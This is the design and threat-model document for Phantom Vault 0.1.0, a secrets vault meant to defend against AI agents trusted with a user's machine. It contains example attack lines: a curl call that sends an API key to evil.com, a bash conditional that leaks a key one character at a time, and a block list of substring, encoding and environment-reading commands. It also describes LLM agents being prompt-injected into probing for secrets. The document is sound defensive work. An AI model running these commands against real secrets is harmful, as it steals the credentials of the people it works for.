The design and threat model for Phantom Vault 0.1.0 (early software).
Read this as a design document, not a feature list. Phantom Vault is version 0.1.0 — early, open-source software under an independent containment audit (Magnus). The "blind spots" and the layered architecture below describe the target design: how the system is meant to defend against an AI agent you've trusted with your machine. What is actually implemented and verified today versus designed / planned / under audit is spelled out in Release Status. Where a defense below is not yet verified, treat it as an intention, not a guarantee. For a security tool we would rather understate than overstate.
These are the threat-model gaps that motivated Phantom Vault — patterns a motivated attacker or a clever LLM can exploit. Each "fix" below is the design response we are building toward; it is not a claim that the fix is shipped and verified. See Release Status for what is actually implemented in 0.1.0.
Problem: Most vaults require a master password in a config file. A plaintext secret protecting all your other secrets.
Why it's missed: We focus on vault encryption and forget the key is taped to the front door.
The fix: Eliminate the master password entirely. Use macOS Secure Enclave + Touch ID. The decryption key is hardware-bound and biometric-gated. No password exists anywhere in any file, ever.
Problem: If your API key is sk_live_abc123 and the output contains c2tfbGl2ZV9hYmMxMjM= (Base64), it passes through unredacted.
Why it's missed: We think of secrets as fixed strings. Machines think of them as transformable data.
The fix: Multi-encoding sanitization. Generate every transformation: Base64, URL-encoded, hex, reversed, ROT13, HTML entities, JSON escaped. Scan for ALL variants.
Problem: Garbage collectors move memory around freely, potentially leaving copies. Memory can be swapped to disk. Core dumps capture everything.
Why it's missed: We think "process memory is private."
The fix: Rust with zeroize crate for deterministic clearing. mlock() to prevent swap. mprotect() for no-read except during injection.
Problem: Nothing stops a subprocess from doing curl https://evil.com?stolen=$API_KEY while making a legitimate API call.
Why it's missed: We trust the commands we write. We forget the LLM is choosing the commands.
The fix: Network egress filtering. Per-process firewall rules that only allow approved domains.
Problem: If an LLM probes for secrets via prompt injection, there's zero detection.
Why it's missed: We build walls but no alarms.
The fix: Plant canary secrets that trigger immediate alerts when touched.
Problem: An LLM can extract secrets bit by bit: if [ "${API_KEY:0:1}" = "s" ]; then echo YES; fi
Why it's missed: We think of secrets as atomic. Machines think of them as testable sequences.
The fix: Command pre-analysis. Block substring extraction, conditional tests, character iteration patterns.
Problem: Static secrets created months ago are still valid if ever leaked.
The fix: Built-in rotation engine with vendor API integration for automatic key rotation.
Problem: Logs say "curl was run with STRIPE_KEY" but not "this originated from prompt injection."
The fix: Full request chain capture with trust level tagging: HUMAN_DIRECT, LLM_APPROVED, LLM_AUTO.
Problem: Every application can read the system clipboard silently.
The fix: Never use system clipboard for secrets. Use direct stdin piping or authenticated Unix sockets.
Problem: An attacker who modifies the config can redirect to a fake vault binary.
The fix: Signed configuration. Verify integrity using Secure Enclave. Refuse to start if tampered.
Problem: Response timing and packet sizes can leak information about secrets.
The fix: Constant-time output. Pad responses to fixed sizes. Add random jitter (50-200ms).
Problem: Secrets have relationships. If DATABASE_URL is compromised, which others are affected?
The fix: Model secret dependencies. One-click rotation of entire dependency chains.
Problem: Managing multiple clients means secret_list reveals all client key names.
The fix: Vault namespaces. Each client/project isolated. LLM doesn't know other namespaces exist.
Problem: If your laptop is stolen, all secrets are accessible once the thief brute-forces access.
The fix: Remote revocation. Device reports stolen triggers immediate vault wipe.
This is the target layered design. In 0.1.0, Layer 1 (encryption at rest — AES-256-GCM + Argon2id, mlock, zeroize) is implemented and verified, and Layer 2's Landlock filesystem sandbox on phantom run is verified. The hardware root of trust (Layer 0), network-egress filtering, multi-encoding output sanitization (Layer 3), and the tamper-evident audit / dead-man's-switch pieces (Layer 4) are designed / planned / under audit, not yet independently verified.
+-------------------------------------------------------------------------+
| LAYER 0: HARDWARE ROOT OF TRUST |
| |
| Apple Secure Enclave (M-series) / TPM 2.0 (Linux) / FIDO2 (YubiKey) |
| Master key generated IN hardware, never extractable |
| Biometric gate: Touch ID / Face ID / YubiKey touch |
| No master password exists. Anywhere. Ever. |
+------------------------------------+------------------------------------+
|
v Hardware-backed decryption
+------------------------------------+------------------------------------+
| LAYER 1: ENCRYPTED VAULT (At Rest) |
| |
| AES-256-GCM + XChaCha20-Poly1305 (dual encryption) |
| Argon2id key derivation (memory-hard) |
| Rust: deterministic memory, no GC |
| mlock() on all secret-holding pages |
| zeroize on drop (compiler-guaranteed cleanup) |
| SQLite with WAL mode, 0600 permissions |
+------------------------------------+------------------------------------+
|
v Scoped injection into sandbox
+------------------------------------+------------------------------------+
| LAYER 2: RUNTIME INJECTION (In Transit) |
| |
| Subprocess spawned in network-restricted sandbox |
| Per-process firewall: only approved domains reachable |
| Secrets injected via direct env, never via file |
| Command pre-analysis: block oracle patterns |
| Rate limiting per secret per time window |
+------------------------------------+------------------------------------+
|
v Multi-layer sanitization
+------------------------------------+------------------------------------+
| LAYER 3: OUTPUT SANITIZATION (At Return) |
| |
| Exact match + multi-encoding redaction (15+ formats) |
| Sliding-window substring match (8+ char windows) |
| Constant-time response padding (anti-timing oracle) |
| Canary trigger detection |
+------------------------------------+------------------------------------+
|
v Tamper-evident logging
+------------------------------------+------------------------------------+
| LAYER 4: AUDIT & DETECTION |
| |
| HMAC-chained append-only log |
| Trust level tagging (HUMAN_DIRECT / LLM_APPROVED / LLM_AUTO) |
| Anomaly detection (unusual patterns, rapid probing) |
| Canary alert system (webhook, email, Slack) |
| Dead man's switch (remote wipe capability) |
+-------------------------------------------------------------------------+zeroize crate — compiler-guaranteed memory clearingmlock() actually works — memory doesn't get relocated| Crate | Purpose |
|---|---|
ring / aes-gcm | AES-256-GCM encryption |
chacha20poly1305 | XChaCha20-Poly1305 (second layer) |
argon2 | Key derivation |
zeroize | Deterministic memory clearing |
secrecy | Secret-holding types |
rusqlite | SQLite storage |
security-framework | macOS Keychain / Secure Enclave |
tokio | Async runtime for MCP server |
| Tool | Returns | Secret Exposed? |
|---|---|---|
vault_list | Key names + metadata | NEVER |
vault_exists | Boolean | NEVER |
vault_masked | Last 4 chars: ••••WXYZ | NEVER |
vault_run | Sanitized command output | NEVER |
vault_health | Expiration warnings, status | NEVER |
vault_rotate | Pending human approval | NEVER |
vault_get — raw plaintext retrievalvault_export — bulk extractionvault_dump — debugging toolvault_decrypt — direct decryptionYou cannot call what does not exist.
Retrieving a raw plaintext value is gated to a direct terminal — it is never reachable through the MCP server:
phantom get KEY — retrieve plaintext. Verified: it refuses to run when stdout is not a TTY (i.e. when a script or an AI pipes it), so the plaintext can't be captured programmatically.This is the designed behavior of the command analyzer: before a vault_run command executes, a static analyzer is meant to block oracle-style extraction attacks. It exists in the codebase but is not yet independently verified — treat the block-lists below as the intended policy, not a proven guarantee.
CATEGORY: Substring Extraction ${VAR:offset:length} → BLOCKED (bash substring) echo $VAR | cut -cN-M → BLOCKED (character extraction) echo $VAR | sed ... → BLOCKED (positional replacement) python -c "...VAR[N]" → BLOCKED CATEGORY: Conditional Testing if [ "$VAR" = "..." ] → BLOCKED (equality test) [[ $VAR == *pattern* ]] → BLOCKED (pattern match) echo $VAR | grep ... → BLOCKED (pattern search) CATEGORY: Encoding/Exfiltration echo $VAR | base64 → BLOCKED echo $VAR | xxd → BLOCKED curl ...$VAR... → BLOCKED (if VAR in URL) CATEGORY: Direct Access printenv VAR → BLOCKED echo $VAR → BLOCKED cat /proc/self/environ → BLOCKED
CATEGORY: Normal Usage (secrets in env, not in args)
curl -H "Authorization: Bearer $VAR" https://api.stripe.com → ALLOWED
psql $DATABASE_URL -c "SELECT ..." → ALLOWED
railway deploy → ALLOWED
npm run build → ALLOWED
Key distinction: Secrets used AS environment variables by well-behaved programs are fine. Secrets used AS command arguments, piped through text processing, or tested conditionally are blocked.
Phantom Vault is at 0.1.0 — early software. There is no 1.x release. The table below is the honest split between what is verified in the code today and what is designed but still under audit.
| Area | Detail | Status (0.1.0) |
|---|---|---|
| Encryption at rest | AES-256-GCM with an Argon2id-derived master key | ✓ Verified |
| Memory protection | mlock pinning + zeroize on drop | ✓ Verified |
| Anti-exfil read guard | phantom get refuses non-TTY (scripted) reads | ✓ Verified |
| Filesystem sandbox | Landlock sandbox on phantom run — proven file-sink/exfil block | ✓ Verified |
| Canary secrets + audit log | Decoy secrets that flag on access; every access logged | ✓ Verified |
| CLI + MCP server | phantom CLI and vault-mcp (6 leak-resistant tools) | ✓ Verified |
| Biometric unlock | Touch ID on macOS via Keychain | ✓ Verified (macOS) |
| Output sanitizer | Strip secret + encoded variants from returned output | Designed · under audit |
| Network-egress jail | Fail-closed per-command network filtering | Designed · under audit |
| Command pre-analysis | Static analyzer blocking oracle-extraction patterns | Designed · under audit |
| Tamper-evident audit chain | HMAC-chained append-only log + lineage tagging | Designed · under audit |
| Decoy honeypot vault | Full decoy-vault deception layer | Designed, not fully wired |
| Hardware root of trust | Secure Enclave / TPM 2.0 / FIDO2 key backing | Planned |
| End-to-end containment | "An AI can never exfiltrate a secret" | Goal — under Magnus gate, not claimed until it passes |
| Desktop UI | Tauri + Flutter app | Planned |